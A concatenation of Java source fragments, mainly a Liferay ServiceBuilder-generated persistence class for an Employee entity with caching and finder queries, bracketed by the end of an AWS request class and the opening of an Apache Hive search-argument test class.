public ListInstanceTypeDetailsRequest clone() {
return (ListInstanceTypeDetailsRequest) super.clone();
}
}
| |
package com.test.portlets.service.persistence;
import com.liferay.portal.NoSuchModelException;
import com.liferay.portal.kernel.bean.BeanReference;
import com.liferay.portal.kernel.cache.CacheRegistryUtil;
import com.liferay.portal.kernel.dao.orm.EntityCacheUtil;
import com.liferay.portal.kernel.dao.orm.FinderCacheUtil;
import com.liferay.portal.kernel.dao.orm.FinderPath;
import com.liferay.portal.kernel.dao.orm.Query;
import com.liferay.portal.kernel.dao.orm.QueryPos;
import com.liferay.portal.kernel.dao.orm.QueryUtil;
import com.liferay.portal.kernel.dao.orm.Session;
import com.liferay.portal.kernel.exception.SystemException;
import com.liferay.portal.kernel.log.Log;
import com.liferay.portal.kernel.log.LogFactoryUtil;
import com.liferay.portal.kernel.util.GetterUtil;
import com.liferay.portal.kernel.util.InstanceFactory;
import com.liferay.portal.kernel.util.OrderByComparator;
import com.liferay.portal.kernel.util.PropsKeys;
import com.liferay.portal.kernel.util.PropsUtil;
import com.liferay.portal.kernel.util.StringBundler;
import com.liferay.portal.kernel.util.StringPool;
import com.liferay.portal.kernel.util.StringUtil;
import com.liferay.portal.model.CacheModel;
import com.liferay.portal.model.ModelListener;
import com.liferay.portal.service.persistence.BatchSessionUtil;
import com.liferay.portal.service.persistence.ResourcePersistence;
import com.liferay.portal.service.persistence.UserPersistence;
import com.liferay.portal.service.persistence.impl.BasePersistenceImpl;
import com.test.portlets.NoSuchEmployeeException;
import com.test.portlets.model.Employee;
import com.test.portlets.model.impl.EmployeeImpl;
import com.test.portlets.model.impl.EmployeeModelImpl;
import com.test.portlets.service.persistence.EmployeePersistence;
import java.io.Serializable;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
/**
* The persistence implementation for the employee service.
*
* <p>
* Caching information and settings can be found in <code>portal.properties</code>
* </p>
*
* @author Brian Wing Shun Chan
* @see EmployeePersistence
* @see EmployeeUtil
* @generated
*/
public class EmployeePersistenceImpl extends BasePersistenceImpl<Employee>
implements EmployeePersistence {
/*
* NOTE FOR DEVELOPERS:
*
* Never modify or reference this class directly. Always use {@link EmployeeUtil} to access the employee persistence. Modify <code>service.xml</code> and rerun ServiceBuilder to regenerate this class.
*/
public static final String FINDER_CLASS_NAME_ENTITY = EmployeeImpl.class.getName();
public static final String FINDER_CLASS_NAME_LIST_WITH_PAGINATION = FINDER_CLASS_NAME_ENTITY +
".List1";
public static final String FINDER_CLASS_NAME_LIST_WITHOUT_PAGINATION = FINDER_CLASS_NAME_ENTITY +
".List2";
public static final FinderPath FINDER_PATH_WITH_PAGINATION_FIND_BY_SBID = new FinderPath(EmployeeModelImpl.ENTITY_CACHE_ENABLED,
EmployeeModelImpl.FINDER_CACHE_ENABLED, EmployeeImpl.class,
FINDER_CLASS_NAME_LIST_WITH_PAGINATION, "findBySBID",
new String[] {
Long.class.getName(),
"java.lang.Integer", "java.lang.Integer",
"com.liferay.portal.kernel.util.OrderByComparator"
});
public static final FinderPath FINDER_PATH_WITHOUT_PAGINATION_FIND_BY_SBID = new FinderPath(EmployeeModelImpl.ENTITY_CACHE_ENABLED,
EmployeeModelImpl.FINDER_CACHE_ENABLED, EmployeeImpl.class,
FINDER_CLASS_NAME_LIST_WITHOUT_PAGINATION, "findBySBID",
new String[] { Long.class.getName() },
EmployeeModelImpl.SBID_COLUMN_BITMASK);
public static final FinderPath FINDER_PATH_COUNT_BY_SBID = new FinderPath(EmployeeModelImpl.ENTITY_CACHE_ENABLED,
EmployeeModelImpl.FINDER_CACHE_ENABLED, Long.class,
FINDER_CLASS_NAME_LIST_WITHOUT_PAGINATION, "countBySBID",
new String[] { Long.class.getName() });
public static final FinderPath FINDER_PATH_WITH_PAGINATION_FIND_ALL = new FinderPath(EmployeeModelImpl.ENTITY_CACHE_ENABLED,
EmployeeModelImpl.FINDER_CACHE_ENABLED, EmployeeImpl.class,
FINDER_CLASS_NAME_LIST_WITH_PAGINATION, "findAll", new String[0]);
public static final FinderPath FINDER_PATH_WITHOUT_PAGINATION_FIND_ALL = new FinderPath(EmployeeModelImpl.ENTITY_CACHE_ENABLED,
EmployeeModelImpl.FINDER_CACHE_ENABLED, EmployeeImpl.class,
FINDER_CLASS_NAME_LIST_WITHOUT_PAGINATION, "findAll", new String[0]);
public static final FinderPath FINDER_PATH_COUNT_ALL = new FinderPath(EmployeeModelImpl.ENTITY_CACHE_ENABLED,
EmployeeModelImpl.FINDER_CACHE_ENABLED, Long.class,
FINDER_CLASS_NAME_LIST_WITHOUT_PAGINATION, "countAll", new String[0]);
private static final String _SQL_SELECT_EMPLOYEE = "SELECT employee FROM Employee employee";
private static final String _SQL_SELECT_EMPLOYEE_WHERE = "SELECT employee FROM Employee employee WHERE ";
private static final String _SQL_COUNT_EMPLOYEE = "SELECT COUNT(employee) FROM Employee employee";
private static final String _SQL_COUNT_EMPLOYEE_WHERE = "SELECT COUNT(employee) FROM Employee employee WHERE ";
private static final String _FINDER_COLUMN_SBID_SBID_2 = "employee.sbId = ?";
private static final String _ORDER_BY_ENTITY_ALIAS = "employee.";
private static final String _NO_SUCH_ENTITY_WITH_PRIMARY_KEY = "No Employee exists with the primary key ";
private static final String _NO_SUCH_ENTITY_WITH_KEY = "No Employee exists with the key {";
private static final boolean _HIBERNATE_CACHE_USE_SECOND_LEVEL_CACHE = GetterUtil.getBoolean(PropsUtil.get(
PropsKeys.HIBERNATE_CACHE_USE_SECOND_LEVEL_CACHE));
private static Log _log = LogFactoryUtil.getLog(EmployeePersistenceImpl.class);
private static Employee _nullEmployee = new EmployeeImpl() {
@Override
public Object clone() {
return this;
}
@Override
public CacheModel<Employee> toCacheModel() {
return _nullEmployeeCacheModel;
}
};
private static CacheModel<Employee> _nullEmployeeCacheModel = new CacheModel<Employee>() {
public Employee toEntityModel() {
return _nullEmployee;
}
};
@BeanReference(type = EmployeePersistence.class)
protected EmployeePersistence employeePersistence;
@BeanReference(type = ResourcePersistence.class)
protected ResourcePersistence resourcePersistence;
@BeanReference(type = UserPersistence.class)
protected UserPersistence userPersistence;
/**
* Caches the employee in the entity cache if it is enabled.
*
* @param employee the employee
*/
public void cacheResult(Employee employee) {
EntityCacheUtil.putResult(EmployeeModelImpl.ENTITY_CACHE_ENABLED,
EmployeeImpl.class, employee.getPrimaryKey(), employee);
employee.resetOriginalValues();
}
/**
* Caches the employees in the entity cache if it is enabled.
*
* @param employees the employees
*/
public void cacheResult(List<Employee> employees) {
for (Employee employee : employees) {
if (EntityCacheUtil.getResult(
EmployeeModelImpl.ENTITY_CACHE_ENABLED,
EmployeeImpl.class, employee.getPrimaryKey()) == null) {
cacheResult(employee);
} else {
employee.resetOriginalValues();
}
}
}
/**
* Clears the cache for all employees.
*
* <p>
* The {@link com.liferay.portal.kernel.dao.orm.EntityCache} and {@link com.liferay.portal.kernel.dao.orm.FinderCache} are both cleared by this method.
* </p>
*/
@Override
public void clearCache() {
if (_HIBERNATE_CACHE_USE_SECOND_LEVEL_CACHE) {
CacheRegistryUtil.clear(EmployeeImpl.class.getName());
}
EntityCacheUtil.clearCache(EmployeeImpl.class.getName());
FinderCacheUtil.clearCache(FINDER_CLASS_NAME_ENTITY);
FinderCacheUtil.clearCache(FINDER_CLASS_NAME_LIST_WITH_PAGINATION);
FinderCacheUtil.clearCache(FINDER_CLASS_NAME_LIST_WITHOUT_PAGINATION);
}
/**
* Clears the cache for the employee.
*
* <p>
* The {@link com.liferay.portal.kernel.dao.orm.EntityCache} and {@link com.liferay.portal.kernel.dao.orm.FinderCache} are both cleared by this method.
* </p>
*/
@Override
public void clearCache(Employee employee) {
EntityCacheUtil.removeResult(EmployeeModelImpl.ENTITY_CACHE_ENABLED,
EmployeeImpl.class, employee.getPrimaryKey());
FinderCacheUtil.clearCache(FINDER_CLASS_NAME_LIST_WITH_PAGINATION);
FinderCacheUtil.clearCache(FINDER_CLASS_NAME_LIST_WITHOUT_PAGINATION);
}
@Override
public void clearCache(List<Employee> employees) {
FinderCacheUtil.clearCache(FINDER_CLASS_NAME_LIST_WITH_PAGINATION);
FinderCacheUtil.clearCache(FINDER_CLASS_NAME_LIST_WITHOUT_PAGINATION);
for (Employee employee : employees) {
EntityCacheUtil.removeResult(EmployeeModelImpl.ENTITY_CACHE_ENABLED,
EmployeeImpl.class, employee.getPrimaryKey());
}
}
/**
* Creates a new employee with the primary key. Does not add the employee to the database.
*
* @param employeeId the primary key for the new employee
* @return the new employee
*/
public Employee create(long employeeId) {
Employee employee = new EmployeeImpl();
employee.setNew(true);
employee.setPrimaryKey(employeeId);
return employee;
}
/**
* Removes the employee with the primary key from the database. Also notifies the appropriate model listeners.
*
* @param employeeId the primary key of the employee
* @return the employee that was removed
* @throws com.test.portlets.NoSuchEmployeeException if a employee with the primary key could not be found
* @throws SystemException if a system exception occurred
*/
public Employee remove(long employeeId)
throws NoSuchEmployeeException, SystemException {
return remove(Long.valueOf(employeeId));
}
/**
* Removes the employee with the primary key from the database. Also notifies the appropriate model listeners.
*
* @param primaryKey the primary key of the employee
* @return the employee that was removed
* @throws com.test.portlets.NoSuchEmployeeException if a employee with the primary key could not be found
* @throws SystemException if a system exception occurred
*/
@Override
public Employee remove(Serializable primaryKey)
throws NoSuchEmployeeException, SystemException {
Session session = null;
try {
session = openSession();
Employee employee = (Employee) session.get(EmployeeImpl.class,
primaryKey);
if (employee == null) {
if (_log.isWarnEnabled()) {
_log.warn(_NO_SUCH_ENTITY_WITH_PRIMARY_KEY + primaryKey);
}
throw new NoSuchEmployeeException(_NO_SUCH_ENTITY_WITH_PRIMARY_KEY +
primaryKey);
}
return remove(employee);
} catch (NoSuchEmployeeException nsee) {
throw nsee;
} catch (Exception e) {
throw processException(e);
} finally {
closeSession(session);
}
}
@Override
protected Employee removeImpl(Employee employee) throws SystemException {
employee = toUnwrappedModel(employee);
Session session = null;
try {
session = openSession();
BatchSessionUtil.delete(session, employee);
} catch (Exception e) {
throw processException(e);
} finally {
closeSession(session);
}
clearCache(employee);
return employee;
}
@Override
public Employee updateImpl(com.test.portlets.model.Employee employee,
boolean merge) throws SystemException {
employee = toUnwrappedModel(employee);
boolean isNew = employee.isNew();
EmployeeModelImpl employeeModelImpl = (EmployeeModelImpl) employee;
Session session = null;
try {
session = openSession();
BatchSessionUtil.update(session, employee, merge);
employee.setNew(false);
} catch (Exception e) {
throw processException(e);
} finally {
closeSession(session);
}
FinderCacheUtil.clearCache(FINDER_CLASS_NAME_LIST_WITH_PAGINATION);
if (isNew || !EmployeeModelImpl.COLUMN_BITMASK_ENABLED) {
FinderCacheUtil.clearCache(FINDER_CLASS_NAME_LIST_WITHOUT_PAGINATION);
}
else {
if ((employeeModelImpl.getColumnBitmask() &
FINDER_PATH_WITHOUT_PAGINATION_FIND_BY_SBID.getColumnBitmask()) != 0) {
Object[] args = new Object[] {
Long.valueOf(employeeModelImpl.getOriginalSbId())
};
FinderCacheUtil.removeResult(FINDER_PATH_COUNT_BY_SBID, args);
FinderCacheUtil.removeResult(FINDER_PATH_WITHOUT_PAGINATION_FIND_BY_SBID,
args);
args = new Object[] { Long.valueOf(employeeModelImpl.getSbId()) };
FinderCacheUtil.removeResult(FINDER_PATH_COUNT_BY_SBID, args);
FinderCacheUtil.removeResult(FINDER_PATH_WITHOUT_PAGINATION_FIND_BY_SBID,
args);
}
}
EntityCacheUtil.putResult(EmployeeModelImpl.ENTITY_CACHE_ENABLED,
EmployeeImpl.class, employee.getPrimaryKey(), employee);
return employee;
}
protected Employee toUnwrappedModel(Employee employee) {
if (employee instanceof EmployeeImpl) {
return employee;
}
EmployeeImpl employeeImpl = new EmployeeImpl();
employeeImpl.setNew(employee.isNew());
employeeImpl.setPrimaryKey(employee.getPrimaryKey());
employeeImpl.setEmployeeId(employee.getEmployeeId());
employeeImpl.setEmployeeName(employee.getEmployeeName());
employeeImpl.setEmployeeGender(employee.getEmployeeGender());
employeeImpl.setSbId(employee.getSbId());
return employeeImpl;
}
/**
* Returns the employee with the primary key or throws a {@link com.liferay.portal.NoSuchModelException} if it could not be found.
*
* @param primaryKey the primary key of the employee
* @return the employee
* @throws com.liferay.portal.NoSuchModelException if a employee with the primary key could not be found
* @throws SystemException if a system exception occurred
*/
@Override
public Employee findByPrimaryKey(Serializable primaryKey)
throws NoSuchModelException, SystemException {
return findByPrimaryKey(((Long) primaryKey).longValue());
}
/**
* Returns the employee with the primary key or throws a {@link com.test.portlets.NoSuchEmployeeException} if it could not be found.
*
* @param employeeId the primary key of the employee
* @return the employee
* @throws com.test.portlets.NoSuchEmployeeException if a employee with the primary key could not be found
* @throws SystemException if a system exception occurred
*/
public Employee findByPrimaryKey(long employeeId)
throws NoSuchEmployeeException, SystemException {
Employee employee = fetchByPrimaryKey(employeeId);
if (employee == null) {
if (_log.isWarnEnabled()) {
_log.warn(_NO_SUCH_ENTITY_WITH_PRIMARY_KEY + employeeId);
}
throw new NoSuchEmployeeException(_NO_SUCH_ENTITY_WITH_PRIMARY_KEY +
employeeId);
}
return employee;
}
/**
* Returns the employee with the primary key or returns <code>null</code> if it could not be found.
*
* @param primaryKey the primary key of the employee
* @return the employee, or <code>null</code> if a employee with the primary key could not be found
* @throws SystemException if a system exception occurred
*/
@Override
public Employee fetchByPrimaryKey(Serializable primaryKey)
throws SystemException {
return fetchByPrimaryKey(((Long) primaryKey).longValue());
}
/**
* Returns the employee with the primary key or returns <code>null</code> if it could not be found.
*
* @param employeeId the primary key of the employee
* @return the employee, or <code>null</code> if a employee with the primary key could not be found
* @throws SystemException if a system exception occurred
*/
public Employee fetchByPrimaryKey(long employeeId)
throws SystemException {
Employee employee = (Employee) EntityCacheUtil.getResult(EmployeeModelImpl.ENTITY_CACHE_ENABLED,
EmployeeImpl.class, employeeId);
if (employee == _nullEmployee) {
return null;
}
if (employee == null) {
Session session = null;
boolean hasException = false;
try {
session = openSession();
employee = (Employee) session.get(EmployeeImpl.class,
Long.valueOf(employeeId));
} catch (Exception e) {
hasException = true;
throw processException(e);
} finally {
if (employee != null) {
cacheResult(employee);
} else if (!hasException) {
EntityCacheUtil.putResult(EmployeeModelImpl.ENTITY_CACHE_ENABLED,
EmployeeImpl.class, employeeId, _nullEmployee);
}
closeSession(session);
}
}
return employee;
}
/**
* Returns all the employees where sbId = ?.
*
* @param sbId the sb ID
* @return the matching employees
* @throws SystemException if a system exception occurred
*/
public List<Employee> findBySBID(long sbId) throws SystemException {
return findBySBID(sbId, QueryUtil.ALL_POS, QueryUtil.ALL_POS, null);
}
/**
* Returns a range of all the employees where sbId = ?.
*
* <p>
* Useful when paginating results. Returns a maximum of <code>end - start</code> instances. <code>start</code> and <code>end</code> are not primary keys, they are indexes in the result set. Thus, <code>0</code> refers to the first result in the set. Setting both <code>start</code> and <code>end</code> to {@link com.liferay.portal.kernel.dao.orm.QueryUtil#ALL_POS} will return the full result set.
* </p>
*
* @param sbId the sb ID
* @param start the lower bound of the range of employees
* @param end the upper bound of the range of employees (not inclusive)
* @return the range of matching employees
* @throws SystemException if a system exception occurred
*/
public List<Employee> findBySBID(long sbId, int start, int end)
throws SystemException {
return findBySBID(sbId, start, end, null);
}
/**
* Returns an ordered range of all the employees where sbId = ?.
*
* <p>
* Useful when paginating results. Returns a maximum of <code>end - start</code> instances. <code>start</code> and <code>end</code> are not primary keys, they are indexes in the result set. Thus, <code>0</code> refers to the first result in the set. Setting both <code>start</code> and <code>end</code> to {@link com.liferay.portal.kernel.dao.orm.QueryUtil#ALL_POS} will return the full result set.
* </p>
*
* @param sbId the sb ID
* @param start the lower bound of the range of employees
* @param end the upper bound of the range of employees (not inclusive)
* @param orderByComparator the comparator to order the results by (optionally <code>null</code>)
* @return the ordered range of matching employees
* @throws SystemException if a system exception occurred
*/
public List<Employee> findBySBID(long sbId, int start, int end,
OrderByComparator orderByComparator) throws SystemException {
FinderPath finderPath = null;
Object[] finderArgs = null;
if ((start == QueryUtil.ALL_POS) && (end == QueryUtil.ALL_POS) &&
(orderByComparator == null)) {
finderPath = FINDER_PATH_WITHOUT_PAGINATION_FIND_BY_SBID;
finderArgs = new Object[] { sbId };
} else {
finderPath = FINDER_PATH_WITH_PAGINATION_FIND_BY_SBID;
finderArgs = new Object[] { sbId, start, end, orderByComparator };
}
List<Employee> list = (List<Employee>) FinderCacheUtil.getResult(finderPath,
finderArgs, this);
if ((list != null) && !list.isEmpty()) {
for (Employee employee : list) {
if ((sbId != employee.getSbId())) {
list = null;
break;
}
}
}
if (list == null) {
StringBundler query = null;
if (orderByComparator != null) {
query = new StringBundler(3 +
(orderByComparator.getOrderByFields().length * 3));
} else {
query = new StringBundler(3);
}
query.append(_SQL_SELECT_EMPLOYEE_WHERE);
query.append(_FINDER_COLUMN_SBID_SBID_2);
if (orderByComparator != null) {
appendOrderByComparator(query, _ORDER_BY_ENTITY_ALIAS,
orderByComparator);
}
else {
query.append(EmployeeModelImpl.ORDER_BY_JPQL);
}
String sql = query.toString();
Session session = null;
try {
session = openSession();
Query q = session.createQuery(sql);
QueryPos qPos = QueryPos.getInstance(q);
qPos.add(sbId);
list = (List<Employee>) QueryUtil.list(q, getDialect(), start,
end);
} catch (Exception e) {
throw processException(e);
} finally {
if (list == null) {
FinderCacheUtil.removeResult(finderPath, finderArgs);
} else {
cacheResult(list);
FinderCacheUtil.putResult(finderPath, finderArgs, list);
}
closeSession(session);
}
}
return list;
}
/**
* Returns the first employee in the ordered set where sbId = ?.
*
* @param sbId the sb ID
* @param orderByComparator the comparator to order the set by (optionally <code>null</code>)
* @return the first matching employee
* @throws com.test.portlets.NoSuchEmployeeException if a matching employee could not be found
* @throws SystemException if a system exception occurred
*/
public Employee findBySBID_First(long sbId,
OrderByComparator orderByComparator)
throws NoSuchEmployeeException, SystemException {
Employee employee = fetchBySBID_First(sbId, orderByComparator);
if (employee != null) {
return employee;
}
StringBundler msg = new StringBundler(4);
msg.append(_NO_SUCH_ENTITY_WITH_KEY);
msg.append("sbId=");
msg.append(sbId);
msg.append(StringPool.CLOSE_CURLY_BRACE);
throw new NoSuchEmployeeException(msg.toString());
}
/**
* Returns the first employee in the ordered set where sbId = ?.
*
* @param sbId the sb ID
* @param orderByComparator the comparator to order the set by (optionally <code>null</code>)
* @return the first matching employee, or <code>null</code> if a matching employee could not be found
* @throws SystemException if a system exception occurred
*/
public Employee fetchBySBID_First(long sbId,
OrderByComparator orderByComparator) throws SystemException {
List<Employee> list = findBySBID(sbId, 0, 1, orderByComparator);
if (!list.isEmpty()) {
return list.get(0);
}
return null;
}
/**
* Returns the last employee in the ordered set where sbId = ?.
*
* @param sbId the sb ID
* @param orderByComparator the comparator to order the set by (optionally <code>null</code>)
* @return the last matching employee
* @throws com.test.portlets.NoSuchEmployeeException if a matching employee could not be found
* @throws SystemException if a system exception occurred
*/
public Employee findBySBID_Last(long sbId,
OrderByComparator orderByComparator)
throws NoSuchEmployeeException, SystemException {
Employee employee = fetchBySBID_Last(sbId, orderByComparator);
if (employee != null) {
return employee;
}
StringBundler msg = new StringBundler(4);
msg.append(_NO_SUCH_ENTITY_WITH_KEY);
msg.append("sbId=");
msg.append(sbId);
msg.append(StringPool.CLOSE_CURLY_BRACE);
throw new NoSuchEmployeeException(msg.toString());
}
/**
* Returns the last employee in the ordered set where sbId = ?.
*
* @param sbId the sb ID
* @param orderByComparator the comparator to order the set by (optionally <code>null</code>)
* @return the last matching employee, or <code>null</code> if a matching employee could not be found
* @throws SystemException if a system exception occurred
*/
public Employee fetchBySBID_Last(long sbId,
OrderByComparator orderByComparator) throws SystemException {
int count = countBySBID(sbId);
List<Employee> list = findBySBID(sbId, count - 1, count,
orderByComparator);
if (!list.isEmpty()) {
return list.get(0);
}
return null;
}
/**
* Returns the employees before and after the current employee in the ordered set where sbId = ?.
*
* @param employeeId the primary key of the current employee
* @param sbId the sb ID
* @param orderByComparator the comparator to order the set by (optionally <code>null</code>)
* @return the previous, current, and next employee
* @throws com.test.portlets.NoSuchEmployeeException if a employee with the primary key could not be found
* @throws SystemException if a system exception occurred
*/
public Employee[] findBySBID_PrevAndNext(long employeeId, long sbId,
OrderByComparator orderByComparator)
throws NoSuchEmployeeException, SystemException {
Employee employee = findByPrimaryKey(employeeId);
Session session = null;
try {
session = openSession();
Employee[] array = new EmployeeImpl[3];
array[0] = getBySBID_PrevAndNext(session, employee, sbId,
orderByComparator, true);
array[1] = employee;
array[2] = getBySBID_PrevAndNext(session, employee, sbId,
orderByComparator, false);
return array;
} catch (Exception e) {
throw processException(e);
} finally {
closeSession(session);
}
}
protected Employee getBySBID_PrevAndNext(Session session,
Employee employee, long sbId, OrderByComparator orderByComparator,
boolean previous) {
StringBundler query = null;
if (orderByComparator != null) {
query = new StringBundler(6 +
(orderByComparator.getOrderByFields().length * 6));
} else {
query = new StringBundler(3);
}
query.append(_SQL_SELECT_EMPLOYEE_WHERE);
query.append(_FINDER_COLUMN_SBID_SBID_2);
if (orderByComparator != null) {
String[] orderByConditionFields = orderByComparator.getOrderByConditionFields();
if (orderByConditionFields.length > 0) {
query.append(WHERE_AND);
}
for (int i = 0; i < orderByConditionFields.length; i++) {
query.append(_ORDER_BY_ENTITY_ALIAS);
query.append(orderByConditionFields[i]);
if ((i + 1) < orderByConditionFields.length) {
if (orderByComparator.isAscending() ^ previous) {
query.append(WHERE_GREATER_THAN_HAS_NEXT);
} else {
query.append(WHERE_LESSER_THAN_HAS_NEXT);
}
} else {
if (orderByComparator.isAscending() ^ previous) {
query.append(WHERE_GREATER_THAN);
} else {
query.append(WHERE_LESSER_THAN);
}
}
}
query.append(ORDER_BY_CLAUSE);
String[] orderByFields = orderByComparator.getOrderByFields();
for (int i = 0; i < orderByFields.length; i++) {
query.append(_ORDER_BY_ENTITY_ALIAS);
query.append(orderByFields[i]);
if ((i + 1) < orderByFields.length) {
if (orderByComparator.isAscending() ^ previous) {
query.append(ORDER_BY_ASC_HAS_NEXT);
} else {
query.append(ORDER_BY_DESC_HAS_NEXT);
}
} else {
if (orderByComparator.isAscending() ^ previous) {
query.append(ORDER_BY_ASC);
} else {
query.append(ORDER_BY_DESC);
}
}
}
}
else {
query.append(EmployeeModelImpl.ORDER_BY_JPQL);
}
String sql = query.toString();
Query q = session.createQuery(sql);
q.setFirstResult(0);
q.setMaxResults(2);
QueryPos qPos = QueryPos.getInstance(q);
qPos.add(sbId);
if (orderByComparator != null) {
Object[] values = orderByComparator.getOrderByConditionValues(employee);
for (Object value : values) {
qPos.add(value);
}
}
List<Employee> list = q.list();
if (list.size() == 2) {
return list.get(1);
} else {
return null;
}
}
/**
* Returns all the employees.
*
* @return the employees
* @throws SystemException if a system exception occurred
*/
public List<Employee> findAll() throws SystemException {
return findAll(QueryUtil.ALL_POS, QueryUtil.ALL_POS, null);
}
/**
* Returns a range of all the employees.
*
* <p>
* Useful when paginating results. Returns a maximum of <code>end - start</code> instances. <code>start</code> and <code>end</code> are not primary keys, they are indexes in the result set. Thus, <code>0</code> refers to the first result in the set. Setting both <code>start</code> and <code>end</code> to {@link com.liferay.portal.kernel.dao.orm.QueryUtil#ALL_POS} will return the full result set.
* </p>
*
* @param start the lower bound of the range of employees
* @param end the upper bound of the range of employees (not inclusive)
* @return the range of employees
* @throws SystemException if a system exception occurred
*/
public List<Employee> findAll(int start, int end) throws SystemException {
return findAll(start, end, null);
}
/**
* Returns an ordered range of all the employees.
*
* <p>
* Useful when paginating results. Returns a maximum of <code>end - start</code> instances. <code>start</code> and <code>end</code> are not primary keys, they are indexes in the result set. Thus, <code>0</code> refers to the first result in the set. Setting both <code>start</code> and <code>end</code> to {@link com.liferay.portal.kernel.dao.orm.QueryUtil#ALL_POS} will return the full result set.
* </p>
*
* @param start the lower bound of the range of employees
* @param end the upper bound of the range of employees (not inclusive)
* @param orderByComparator the comparator to order the results by (optionally <code>null</code>)
* @return the ordered range of employees
* @throws SystemException if a system exception occurred
*/
public List<Employee> findAll(int start, int end,
OrderByComparator orderByComparator) throws SystemException {
FinderPath finderPath = null;
Object[] finderArgs = new Object[] { start, end, orderByComparator };
if ((start == QueryUtil.ALL_POS) && (end == QueryUtil.ALL_POS) &&
(orderByComparator == null)) {
finderPath = FINDER_PATH_WITHOUT_PAGINATION_FIND_ALL;
finderArgs = FINDER_ARGS_EMPTY;
} else {
finderPath = FINDER_PATH_WITH_PAGINATION_FIND_ALL;
finderArgs = new Object[] { start, end, orderByComparator };
}
List<Employee> list = (List<Employee>) FinderCacheUtil.getResult(finderPath,
finderArgs, this);
if (list == null) {
StringBundler query = null;
String sql = null;
if (orderByComparator != null) {
query = new StringBundler(2 +
(orderByComparator.getOrderByFields().length * 3));
query.append(_SQL_SELECT_EMPLOYEE);
appendOrderByComparator(query, _ORDER_BY_ENTITY_ALIAS,
orderByComparator);
sql = query.toString();
} else {
sql = _SQL_SELECT_EMPLOYEE.concat(EmployeeModelImpl.ORDER_BY_JPQL);
}
Session session = null;
try {
session = openSession();
Query q = session.createQuery(sql);
if (orderByComparator == null) {
list = (List<Employee>) QueryUtil.list(q, getDialect(),
start, end, false);
Collections.sort(list);
} else {
list = (List<Employee>) QueryUtil.list(q, getDialect(),
start, end);
}
} catch (Exception e) {
throw processException(e);
} finally {
if (list == null) {
FinderCacheUtil.removeResult(finderPath, finderArgs);
} else {
cacheResult(list);
FinderCacheUtil.putResult(finderPath, finderArgs, list);
}
closeSession(session);
}
}
return list;
}
/**
* Removes all the employees where sbId = ? from the database.
*
* @param sbId the sb ID
* @throws SystemException if a system exception occurred
*/
public void removeBySBID(long sbId) throws SystemException {
for (Employee employee : findBySBID(sbId)) {
remove(employee);
}
}
/**
* Removes all the employees from the database.
*
* @throws SystemException if a system exception occurred
*/
public void removeAll() throws SystemException {
for (Employee employee : findAll()) {
remove(employee);
}
}
/**
* Returns the number of employees where sbId = ?.
*
* @param sbId the sb ID
* @return the number of matching employees
* @throws SystemException if a system exception occurred
*/
public int countBySBID(long sbId) throws SystemException {
Object[] finderArgs = new Object[] { sbId };
Long count = (Long) FinderCacheUtil.getResult(FINDER_PATH_COUNT_BY_SBID,
finderArgs, this);
if (count == null) {
StringBundler query = new StringBundler(2);
query.append(_SQL_COUNT_EMPLOYEE_WHERE);
query.append(_FINDER_COLUMN_SBID_SBID_2);
String sql = query.toString();
Session session = null;
try {
session = openSession();
Query q = session.createQuery(sql);
QueryPos qPos = QueryPos.getInstance(q);
qPos.add(sbId);
count = (Long) q.uniqueResult();
} catch (Exception e) {
throw processException(e);
} finally {
if (count == null) {
count = Long.valueOf(0);
}
FinderCacheUtil.putResult(FINDER_PATH_COUNT_BY_SBID,
finderArgs, count);
closeSession(session);
}
}
return count.intValue();
}
/**
* Returns the number of employees.
*
* @return the number of employees
* @throws SystemException if a system exception occurred
*/
public int countAll() throws SystemException {
Long count = (Long) FinderCacheUtil.getResult(FINDER_PATH_COUNT_ALL,
FINDER_ARGS_EMPTY, this);
if (count == null) {
Session session = null;
try {
session = openSession();
Query q = session.createQuery(_SQL_COUNT_EMPLOYEE);
count = (Long) q.uniqueResult();
} catch (Exception e) {
throw processException(e);
} finally {
if (count == null) {
count = Long.valueOf(0);
}
FinderCacheUtil.putResult(FINDER_PATH_COUNT_ALL,
FINDER_ARGS_EMPTY, count);
closeSession(session);
}
}
return count.intValue();
}
/**
* Initializes the employee persistence.
*/
public void afterPropertiesSet() {
String[] listenerClassNames = StringUtil.split(GetterUtil.getString(
com.liferay.util.service.ServiceProps.get(
"value.object.listener.com.test.portlets.model.Employee")));
if (listenerClassNames.length > 0) {
try {
List<ModelListener<Employee>> listenersList = new ArrayList<ModelListener<Employee>>();
for (String listenerClassName : listenerClassNames) {
Class<?> clazz = getClass();
listenersList.add((ModelListener<Employee>) InstanceFactory.newInstance(
clazz.getClassLoader(), listenerClassName));
}
listeners = listenersList.toArray(new ModelListener[listenersList.size()]);
} catch (Exception e) {
_log.error(e);
}
}
}
public void destroy() {
EntityCacheUtil.removeCache(EmployeeImpl.class.getName());
FinderCacheUtil.removeCache(FINDER_CLASS_NAME_ENTITY);
FinderCacheUtil.removeCache(FINDER_CLASS_NAME_LIST_WITHOUT_PAGINATION);
}
}
| |
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.hadoop.hive.ql.io.sarg;
import static junit.framework.Assert.assertEquals;
import static junit.framework.Assert.assertTrue;
import com.google.common.collect.Sets;
import org.apache.hadoop.hive.common.type.HiveChar;
import org.apache.hadoop.hive.common.type.HiveVarchar;
import org.apache.hadoop.hive.ql.io.orc.TestInputOutputFormat;
import org.apache.hadoop.hive.ql.io.sarg.SearchArgument.TruthValue;
import org.apache.hadoop.hive.ql.io.sarg.SearchArgumentImpl.PredicateLeafImpl;
import org.apache.hadoop.hive.serde2.io.HiveDecimalWritable;
import org.junit.Test;
import java.lang.reflect.Field;
import java.sql.Date;
import java.sql.Timestamp;
import java.util.List;
import java.util.Set;
/**
* These test the SARG implementation.
* The xml files were generated by setting hive.optimize.index.filter
* to true and using a custom record reader that prints out the value of
* hive.io.filter.expr.serialized in createRecordReader. This should be
* replaced by generating the AST using the API and passing that in.
* <p/>
* In each case, the corresponding part of the where clause is in the
* comment above the blob.
*/
@SuppressWarnings("deprecation")
public class TestSearchArgumentImpl {
private ExpressionTree not(ExpressionTree arg) {
